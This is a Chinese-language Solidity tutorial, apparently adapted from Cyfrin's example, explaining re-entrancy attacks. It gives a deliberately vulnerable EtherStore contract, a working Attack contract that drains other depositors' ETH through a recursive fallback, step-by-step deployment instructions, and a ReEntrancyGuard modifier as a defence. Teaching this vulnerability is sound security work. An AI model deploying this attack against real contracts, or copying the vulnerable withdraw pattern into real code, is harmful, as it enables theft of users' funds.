3分钟Solidity: 11.1 重入攻击

欢迎订阅专栏3分钟Solidity--智能合约--Web3区块链技术必学

如需获取本内容的最新版本,请参见 Cyfrin.io 上的"Re-Entrancy(代码示例)"

漏洞

假设合约 A调用了合约 B

重入攻击允许 BA完成执行之前回调 A

scss 复制代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

/*
   
EtherStore是一个可以存入和提取ETH的合约。

该合约容易受到重入攻击。

让我们看看原因。

1.  部署EtherStore

2.  从账户1(Alice)和账户2(Bob)各存入1个以太币到EtherStore

3.  部署Attack合约,传入EtherStore的地址

4.  调用Attack.attack并发送1个以太币(使用账户3(Eve))。

    你将收回3个以太币(从Alice和Bob那里窃取的2个以太币,

    加上这个合约发送的1个以太币)。

发生了什么?

攻击者能够在EtherStore.withdraw执行完成前多次调用它。

以下是函数调用的顺序:

-   Attack.attack
-   EtherStore.deposit
-   EtherStore.withdraw
-   Attack的fallback函数(收到1个以太币)
-   EtherStore.withdraw
-   Attack的fallback函数(收到1个以太币)
-   EtherStore.withdraw
-   Attack的fallback函数(收到1个以太币)
*/

contract EtherStore {
    mapping(address => uint256) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        uint256 bal = balances[msg.sender];
        require(bal > 0);

        (bool sent,) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");

        balances[msg.sender] = 0;
    }

    // 用于检查该合约余额的辅助函数
    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

contract Attack {
    EtherStore public etherStore;
    uint256 public constant AMOUNT = 1 ether;

    constructor(address _etherStoreAddress) {
        etherStore = EtherStore(_etherStoreAddress);
    }

    // 当EtherStore向该合约发送以太币时,会调用回退函数。
    fallback() external payable {
        if (address(etherStore).balance >= AMOUNT) {
            etherStore.withdraw();
        }
    }

    function attack() external payable {
        require(msg.value >= AMOUNT);
        etherStore.deposit{value: AMOUNT}();
        etherStore.withdraw();
    }

    // 用于检查该合约余额的辅助函数
    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

预防技术

  • 确保所有状态变更在调用外部合约之前完成
  • 使用防止重入的函数修饰符

以下是一个重入防护的示例

ini 复制代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract ReEntrancyGuard {
    bool internal locked;

    modifier noReentrant() {
        require(!locked, "No re-entrancy");
        locked = true;
        _;
        locked = false;
    }
}

Remix Lite 尝试一下

相关推荐
Rockbean7 天前
10分钟智能合约:进阶实战-7.2 Foundry开发环境
web3·智能合约·solidity
davidrevo9 天前
Solidity 学习总结:核心特性与实战指南
web3
Rockbean10 天前
10分钟智能合约:进阶实战-6.4 使合约拒绝服务
web3·智能合约·solidity
Rockbean10 天前
10分钟智能合约:进阶实战-6.3 重入攻击提取资金
web3·智能合约·solidity
木西12 天前
实战:基于 Solidity 0.8.27 与 OpenZeppelin V5 构建多链恶搞代币(以 SPX6900 为例)
web3·智能合约·solidity
2601_9619633814 天前
Spring Boot集成电子签章的7个典型问题与解决方案:从入门到生产级实践
大数据·人工智能·spring boot·python·区块链·智能合约
Maimai1080817 天前
Web3 前端交易系统如何落地:从下单 UI 到 Operation 编码、签名与实时状态更新
前端·react.js·ui·架构·前端框架·web3
Maimai1080817 天前
Web3 前端实时通信如何落地:从 SSE 订阅到行情、订单与账户状态更新
前端·javascript·react.js·前端框架·web3·状态模式
用户8876654266317 天前
Web3 前端实时通信如何落地:从 SSE 订阅到行情、订单与账户状态更新
前端·react.js·web3
Rockbean17 天前
10分钟智能合约:进阶实战-4.3 Delegatecall漏洞
web3·智能合约·solidity